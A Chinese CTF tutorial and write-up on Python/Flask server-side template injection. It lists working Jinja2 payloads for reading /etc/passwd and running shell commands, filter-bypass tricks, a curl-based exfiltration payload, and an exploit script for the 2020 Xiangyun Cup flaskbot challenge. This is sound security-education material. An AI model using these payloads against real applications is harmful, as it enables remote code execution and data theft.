ctf中的python ssti
好久没打ctf了,最近打了场,感觉有些trick还是需要记下来。
1.什么是ssti
ssti服务端模板注入,和sql注入没什么区别,本质上都属于输入可控,注入代码,然后执行。
ssti不仅存在于某一种语言,很多模板渲染引擎都可以执行代码。以python为例,看一个简单的例子:
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
    name = request.args.get("name")
    template = '''
        <div class="center-content error">
            <h1>Hello, %s</h1>
        </div> 
    ''' %(name)
    return render_template_string(template)
if __name__ == '__main__':
    app.debug = True
    app.run()经典的flask,访问test页面:
可以看到我们输入的{{"1"+"2"}}被解析了,漏洞成因在于:render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{"1"+"2"}}会被解析成12。
2. ctf中python中的ssti
当发现某个地方有ssti的时候,一般有两种思路
- 读取配置文件
 - 执行系统命令
 
2.1 读取配置
pythonweb框架,比如说flask,在框架中内置了一些全局变量,对象,函数等等。我们可以直接访问或是调用。有的ctf会把flag放进config中,或者将敏感信息放到全局配置中,比如我们可以通过{{config}}读取配置文件。
2.2 执行命令
Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。
- __dict__:保存类实例或对象实例的属性变量键值对字典
 - __class__:返回调用的参数类型
 - __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
 - __bases__:返回类型列表
 - __subclasses__:返回object的子类
 - __init__:类的初始化方法
 - __globals__:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
 
base 和 mro 都是用来寻找基类的。
基本流程是:
- 随便找一个内置类对象用__class__拿到他所对应的类
 - 用__bases__拿到基类()
 - 用__subclasses__()拿到子类列表
 - 在子类列表中直接寻找可以利用的类getshell。
 
比如我们要python2读取一个文件:
- 找到基类object
 
''.__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] #jinjia2/flask 适用  [9]
>>> ''.__class__.__mro__[-1]
<type 'object'>
- 获取基本类后,继续向下获取基本类(object)的子类
 
object.__subclasses__()
>>> {}.__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
object.__subclasses__()[59]
>>> {}.__class__.__bases__[0].__subclasses__()[59]
<class 'warnings.catch_warnings'>- init初始化类,然后globals全局来查找所有的方法及变量及参数。
 
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__- 查看其引用__builtins__
 
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']- 这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 file 以实现读取文件的功能:
 
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()如何发掘可用的payload,比如我们要执行命令
#python2/3
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
    try:
        if 'eval' in item.__init__.__globals__['__builtins__']:
            print(num, item)
        num+=1
    except:
        num+=1
-->
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(71, <class 'site._Printer'>)
(76, <class 'site.Quitter'>)
(77, <class 'codecs.IncrementalEncoder'>)
(78, <class 'codecs.IncrementalDecoder'>)
-->
{}.__class__.__bases__[0].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")常用的payload:
- 读文件
 
python2
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
{}.__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()python3
在python3中file类被删除了,所以可以通过执行命令读写文件。
- 执行命令
 
python2
# 1 使用os下的popen
{}.__class__.__bases__[0].__subclasses__()[71].__init__.__globals__["os"].popen('whoami').read()
# 2 使用__builtins__下的eval
{}.__class__.__bases__[0].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
# 3 利用warnings.catch_warnings 进行命令执行
查看warnings.catch_warnings方法的位置
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59
查看linecatch的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25
查找os模块的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12
查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144
调用system方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
# 4 利用commands
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')python3
# 1 直接使用popen, os._wrap_close类里有popen
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('whoami').read()
# 2 使用__builtins__下的eval
{}.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
# 3 使用commands
{}.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').system('ls')3. python ssti 绕过技巧
3.1 过滤中括号[]
- getitem()
 
>>> "".__class__.__mro__[2]
<type 'object'>
>>> "".__class__.__mro__.__getitem__(2)
<type 'object'>- pop()
 
{}.__class__.__bases__[0].__subclasses__().pop(40)("/etc/passwd").read()3.2 过滤某些关键字
- base64
 
# 编码属性__class__
{}.__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()
-->
{}.__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()
# 编码参数
{}.__class__.__bases__[0].__subclasses__()[40]("L2V0Yy9wYXNzd2Q=".decode('base64')).read()- 字符串拼接绕过
 
{}.__getattribute__('__c'+'lass__').__base__[0].__subclasses__()[40]("/etc/passwd").read()
{}.__class__.__bases__[0].__subclasses__()[40]("/etc"+"/passwd").read()3.3 过滤引号
- 先获取chr函数,赋值给chr,后面拼接字符串
 
{% set
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()
}}- 利用requests.args
 
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。 将其中的request.args改为request.values则利用post的方式进行传参
().__class__.__bases__[0].__subclasses__()[40](request.args.path).read()}}&path=/etc/passwd
执行命令
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen(request.args.cmd).read()}}&cmd=whoami3.4 过滤双下划线
利用 request.args 的属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__3.5 过滤双大括号{{
dns外带+if条件句
{% if ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:4444/?i=`whoami`').read()=='p' %}1{% endif %}4. 2020祥云杯flaskbot wp
题目是考察python flask,关键源码如下:
@app.route('/',methods=['POST','GET'])
def Hello():
    if request.method == "POST":
        user = request.form['name']
        resp = make_response(render_template("guess.html",name=user))
        resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
        return resp
    else:
        user=request.cookies.get('user')
        if user == None:
           return render_template("index.html")
        else:
            user=user.encode('utf-8')
            return render_template("guess.html",name=base64.urlsafe_b64decode(user))
@app.route('/guess',methods=['POST'])
def Guess():
    user=request.cookies.get('user')
    if user==None:
        return redirect(url_for("Hello")
    user=user.encode('utf-8')
    name = base64.urlsafe_b64decode(user)
    num = float(request.form['num'])
    if(num<0):
        return "Too Small"
    elif num>1000000000.0:
        return "Too Large"
    else:
        return render_template_string(guessNum(num,name))
        
@app.errorhandler(404)
def miss(e):
    return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404
if __name__ == '__main__':
    f_handler=open('/var/log/app.log', 'w')
    sys.stderr=f_handler
    app.run(debug=True, host='0.0.0.0',port=8888)首先输入用户名name,然后输入num,如果num符合条件,则return render_template_string(guessNum(num,name))。
num的绕过可以使用NaN,之后就是name构造了,首先输入name = {{config}},发现输出了config。
['Wow! <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': True, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}> win.']获取基类
name={{''.__class__.__mro__[2]}}
<type 'object'>读文件
name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}尝试命令执行,发现过滤了eval os popen system import request * flag...
到os
name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']}}到执行os
name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']["po"+"pen"]("ls").read()}}发现有一个start.sh,cat看看
name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']["po"+"pen"]("cat start.sh").read()}}
内容:
flagfile=/super_secret_flag.txt
if [ ${ICQ_FLAG} ];then
    if [ "$flagfile"x = "/super_secret_flag.txtx" ];then
        echo ${ICQ_FLAG} > ${flagfile}
        chmod 755 ${flagfile}
    else
        #sed -i "s/flag{x*}/${ICQ_FLAG}/" $flagfile
        sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" $flagfile
        #mysql -uroot -proot nXXXX < $flagfile
    fi
    echo [+] sed flag OK
    unset ICQ_FLAG
else
    echo [!] no ICQ_FLAG
fi好家伙 ;flag位置找到了,但是flag是黑名单,我怎么cat flag呢,base64解码一下好了
name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']["po"+"pen"]('Y2F0IC9zdXBlcl9zZWNyZXRfZmxhZy50eHQ='.decode('ba'+'se64')).read()}}最终利用脚本:
import requests
import re
from html.parser import HTMLParser
import html
url = "http://eci-2zebigmdhrm148g9pri8.cloudeci1.ichunqiu.com:8888"
headers = {
    "Content-Type":"application/x-www-form-urlencoded"
}
data1 = """\
name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']["po"+"pen"]('Y2F0IC9zdXBlcl9zZWNyZXRfZmxhZy50eHQ='.decode('ba'+'se64')).read()}}\
"""
r = requests.post(url, headers=headers, data=data1)
headers = {
    "Cookie":r.headers['Set-Cookie']
}
data2 = {'num': 'nan'}
r = requests.post(url+"/guess",headers=headers,data=data2)
pattern = re.compile('Wow!([\s\S]*)win.')
result1 = pattern.findall(r.text)
# print(r.text)
if len(result1)>0:
    print(html.unescape(result1[0]))
else:
    print("no result")参考文章:
相关文章
- Python中的输出「建议收藏」
 - 基于Python 输出字符HelloWorld简单总结
 - Python基本数据类型
 - Python中strip()函数
 - Python项目44-前后端分离项目(前戏)
 - 使用 python 执行 shell 命令的几种常用方式
 - 聊天没有表情包被嘲讽,程序员直接用python爬取了十万张表情包[通俗易懂]
 - Python || 皖事通安康码截图信息简易识别采集
 - python时间和日期操作(datetime和monthrange,timedelta)
 - Android 平台的Python——基础篇(一)
 - 用Python爬了微信好友,原来他们是这样的人...
 - python读取oss的psd并上传jpg
 - 多重共线性:python计算VIF以及使用vif做因子独立性检验的方法「建议收藏」
 - python实现矩阵转置的几种方法
 - Python 环境搭建
 - 心情不好的时候,用 Python 画棵樱花树送给自己吧「建议收藏」
 - 斐波那契数列python实现
 - dataframe loc iloc_python的isnull函数
 - python报错invalid syntax_fatal python error
 - python基础-内置函数详解[通俗易懂]